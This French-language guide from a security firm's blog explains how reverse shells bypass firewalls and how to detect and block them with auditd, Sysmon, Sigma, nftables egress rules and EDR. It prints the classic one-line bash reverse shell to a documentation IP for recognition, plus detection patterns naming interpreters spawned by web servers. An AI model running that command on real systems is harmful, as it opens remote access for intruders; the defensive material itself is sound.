Contact
Type
Guide
Publié le
Durée
8 min de lecture
Auteur
Équipe rootzero

Reverse shells : comprendre, détecter, bloquer

Pourquoi un reverse shell traverse la plupart des pare-feu, et comment le repérer : filtrage sortant, lignée des processus, Sysmon, auditd et EDR.

  • Détection
  • Réseau
  • Systèmes

Le reverse shell est l’une des plus vieilles techniques de la sécurité offensive et l’une des plus durables. Il tient en une ligne, n’exige aucun outil particulier et traverse la plupart des pare-feu par construction. Pour le détecter, regarder la charge utile sert rarement. Ce qui trahit un reverse shell, c’est ce qu’il provoque sur la machine et sur le réseau.

Cet article adopte le point de vue du défenseur. Les commandes citées servent à reconnaître un comportement dans vos journaux ; elles ne doivent être rejouées que dans un périmètre de test autorisé.

Le mécanisme

Un bind shell ouvre un port d’écoute sur la machine compromise et attend que l’attaquant s’y connecte. Il bute presque toujours sur le filtrage entrant, puisqu’un serveur web n’accepte en général de connexions que sur 80 et 443.

Le reverse shell inverse le sens de la connexion. La machine compromise ouvre elle-même une connexion sortante vers un hôte contrôlé par l’attaquant, puis branche l’entrée et la sortie d’un interpréteur de commandes sur cette connexion. Beaucoup de réseaux filtrent soigneusement ce qui entre et laissent sortir presque tout. Le pare-feu voit passer une connexion sortante ordinaire, et l’attaquant obtient une invite de commande.

La forme la plus connue tient en une ligne Bash :

# Forme classique, à reconnaître dans vos journaux.
# 203.0.113.10 est une adresse réservée à la documentation (RFC 5737).
bash -i >& /dev/tcp/203.0.113.10/4444 0>&1

/dev/tcp/hôte/port n’existe pas sur le disque. C’est une redirection interprétée par Bash, qui ouvre une socket TCP. Les descripteurs 0, 1 et 2 du shell (entrée, sortie, erreurs) sont redirigés vers cette socket. On trouve des équivalents en Python, Perl, PHP, PowerShell, Netcat, Socat, ou via OpenSSL pour chiffrer le canal. Notre Reverse Shell Generator recense les variantes courantes, ce qui aide à écrire puis à tester des règles de détection.

MITRE ATT&CK range ce comportement sous deux familles. L’exécution d’un interpréteur d’abord (T1059.004, Unix Shell et T1059.001, PowerShell). Le canal de commande ensuite, en protocole brut (T1095), souvent sur un port non standard (T1571) ou encapsulé dans un protocole applicatif (T1071).

Ce qui précède le reverse shell

Un reverse shell n’est jamais la première étape. Il suit une exécution de code obtenue autrement : injection de commande dans une application, désérialisation non sûre, téléversement d’un fichier interprété, injection de template côté serveur, identifiants volés sur une interface d’administration. Corriger ces failles reste la défense principale. La défense en profondeur suppose qu’une d’elles finira par passer et prépare la suite : savoir qui verra l’exécution, et ce qui l’empêchera d’aboutir.

Trois signaux observables

Les payloads changent, s’encodent et se chiffrent. Trois propriétés restent observables quelle que soit la variante.

  1. La lignée des processus. Un processus serveur (nginx, php-fpm, java, w3wp.exe, httpd) n’a presque jamais de raison légitime de lancer sh, bash, cmd.exe ou powershell.exe.
  2. La connexion sortante. Un serveur applicatif parle à sa base de données, à son cache et à quelques API connues. Une connexion initiée vers une adresse Internet inconnue, sur un port arbitraire, mérite une alerte.
  3. L’interpréteur branché sur le réseau. Un shell dont l’entrée standard est une socket, au lieu d’un terminal ou d’un fichier, est rarement légitime.

Pris isolément, chacun de ces signaux produit des faux positifs. Leur corrélation (un processus web qui lance un shell, lequel ouvre une connexion sortante) en produit très peu.

Linux : auditd et l’état des processus

Journaliser les exécutions

Le sous-système d’audit du noyau peut tracer chaque appel execve. Tout tracer sur un serveur chargé produit un volume considérable ; cibler l’utilisateur du service web est un bon compromis. Sur Debian et Ubuntu, www-data a l’UID 33, à adapter à votre distribution.

# /etc/audit/rules.d/50-web-exec.rules
# Toute exécution lancée par l'utilisateur du serveur web
-a always,exit -F arch=b64 -S execve -F euid=33 -k web_exec
-a always,exit -F arch=b32 -S execve -F euid=33 -k web_exec
# Connexions sortantes initiées par ce même utilisateur
-a always,exit -F arch=b64 -S connect -F euid=33 -k web_connect

Chargez les règles avec augenrules --load et interrogez-les avec ausearch -k web_exec -i. La syntaxe complète figure dans auditctl(8) et audit.rules(7). La règle sur connect est bavarde : sur un serveur qui appelle beaucoup d’API, réservez-la à l’investigation ou filtrez-la côté SIEM.

Repérer un shell branché sur une socket

Sur une machine suspecte, on peut vérifier vers quoi pointent les descripteurs des interpréteurs en cours d’exécution :

# Liste les shells dont l'entrée standard est une socket réseau.
for pid in $(pgrep -x 'bash|sh|dash|zsh'); do
  if readlink "/proc/$pid/fd/0" 2>/dev/null | grep -q '^socket:'; then
    echo "[!] PID $pid : stdin est une socket"
    ps -o pid,ppid,user,lstart,cmd -p "$pid"
  fi
done

# Quel processus tient quelle connexion établie ?
ss -tnp state established

Ce contrôle a une limite connue. Les variantes qui allouent un pseudo-terminal, par exemple avec le module pty de Python, donnent au shell un vrai terminal ; c’est alors le processus parent qui tient la socket. Il faut donc remonter la lignée complète au lieu de regarder un seul processus.

Windows : Sysmon, événements 1 et 3

Sysmon ajoute au journal Windows deux événements particulièrement utiles ici. L’événement 1 (création de processus) consigne l’image, la ligne de commande, l’utilisateur et surtout ParentImage et ParentCommandLine. L’événement 3 (connexion réseau) consigne le processus, l’adresse et le port de destination, ainsi que le sens de la connexion.

Voici un extrait de configuration qui cible les interpréteurs lancés par un serveur web :

<!-- Extrait à intégrer dans votre configuration Sysmon existante -->
<RuleGroup name="web-spawns-shell" groupRelation="or">
  <ProcessCreate onmatch="include">
    <ParentImage condition="end with">\w3wp.exe</ParentImage>
    <ParentImage condition="end with">\httpd.exe</ParentImage>
    <ParentImage condition="end with">\tomcat9.exe</ParentImage>
  </ProcessCreate>
</RuleGroup>
<RuleGroup name="shell-network" groupRelation="or">
  <NetworkConnect onmatch="include">
    <Image condition="end with">\powershell.exe</Image>
    <Image condition="end with">\pwsh.exe</Image>
    <Image condition="end with">\cmd.exe</Image>
  </NetworkConnect>
</RuleGroup>

Pour PowerShell, activez aussi la journalisation des blocs de script (événement 4104). Elle consigne le code réellement exécuté, y compris après décodage d’une commande passée en Base64. La procédure est décrite dans about_Logging_Windows.

Une règle portable avec Sigma

Le format Sigma permet d’écrire une règle une fois et de la convertir pour la plupart des SIEM. Le dépôt SigmaHQ contient déjà des règles voisines, plus complètes que celle-ci, qui illustre seulement la logique :

title: Interpréteur de commandes lancé par un serveur web
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  parent:
    ParentImage|endswith:
      - '\w3wp.exe'
      - '\httpd.exe'
      - '\nginx.exe'
  child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
  condition: parent and child
falsepositives:
  - Scripts d'administration lancés depuis l'application (à inventorier)
level: high

Prenez le champ falsepositives au sérieux. Certaines applications lancent légitimement des commandes système, pour générer un PDF ou redimensionner une image par exemple. Inventoriez ces cas une fois et excluez-les explicitement : toute nouvelle occurrence devient alors un signal exploitable.

Bloquer avec le filtrage sortant

La détection signale un reverse shell qui a déjà démarré. Le filtrage sortant l’empêche d’aboutir, et c’est la mesure la plus rentable de cet article. C’est aussi celle qu’on trouve le moins souvent en place lors des audits.

Le principe tient en une phrase : un serveur ne peut ouvrir de connexion sortante que vers ce dont il a besoin, et tout le reste est refusé par défaut. Avec nftables :

table inet egress {
  set proxies { type ipv4_addr; elements = { 10.0.0.20 } }

  chain output {
    type filter hook output priority 0; policy drop;
    ct state established,related accept      # réponses aux connexions entrantes
    oif "lo" accept
    ip daddr 10.0.0.53 udp dport 53 accept   # résolveur interne uniquement
    ip daddr 10.0.0.10 tcp dport 5432 accept # base de données
    ip daddr @proxies tcp dport 3128 accept  # mises à jour via le proxy
    log prefix "egress-drop " counter drop
  }
}

Trois points ressortent régulièrement sur le terrain.

  • Filtrer par port ne suffit pas, car un attaquant averti choisira 443, voire HTTPS. La destination est le critère utile. Un proxy sortant qui authentifie et journalise apporte à la fois le contrôle et la trace.
  • Le DNS est un canal à part entière. Un serveur autorisé à interroger n’importe quel résolveur peut exfiltrer des données dans des requêtes DNS. Limitez-le au résolveur interne et surveillez ce dernier.
  • Une règle de refus qui journalise devient un détecteur. Chaque tentative bloquée produit une ligne avec l’adresse visée, ce qui suffit souvent à ouvrir une investigation.

Si vous ne maîtrisez pas le pare-feu de l’hôte, systemd permet un filtrage par service avec IPAddressDeny=any et IPAddressAllow= (voir systemd.resource-control(5)). L’ANSSI recommande plus largement de restreindre les flux et de réduire la surface des systèmes dans ses recommandations de sécurité relatives à un système GNU/Linux.

Ce que fait un EDR, et ses angles morts

Un EDR automatise ce que décrivent les sections précédentes, en continu et à l’échelle du parc. Il observe la lignée des processus, les connexions et les écritures de fichiers, corrèle ces événements et peut isoler une machine du réseau en quelques secondes. Sur un parc Windows, c’est aujourd’hui la ligne de détection la plus complète dont on dispose.

Deux limites reviennent souvent. La couverture d’abord : serveurs Linux, conteneurs, appliances et équipements réseau sont souvent moins bien instrumentés que les postes de travail, alors que ce sont eux qui exposent les services. La configuration ensuite. Un EDR laissé en mode détection seule, dont personne ne lit les alertes, ne protège de rien. Avant de cocher la case, vérifiez qui reçoit l’alerte à trois heures du matin et ce que cette personne est autorisée à faire.

Si vous en trouvez un

Remontez ensuite la lignée jusqu’au processus parent, qui désigne la vulnérabilité exploitée. Tant qu’elle n’est pas corrigée, couper la session ne fait que retarder la suivante. Avant d’en avoir besoin, testez vos règles avec des variantes réelles dans un environnement autorisé : une règle qui n’a jamais déclenché n’a jamais été vérifiée.

#Outil gratuit

Reconnaître un payload avant qu’il ne serve.

Le Reverse Shell Generator liste les variantes courantes et leurs listeners : de quoi écrire et tester vos règles de détection en environnement autorisé.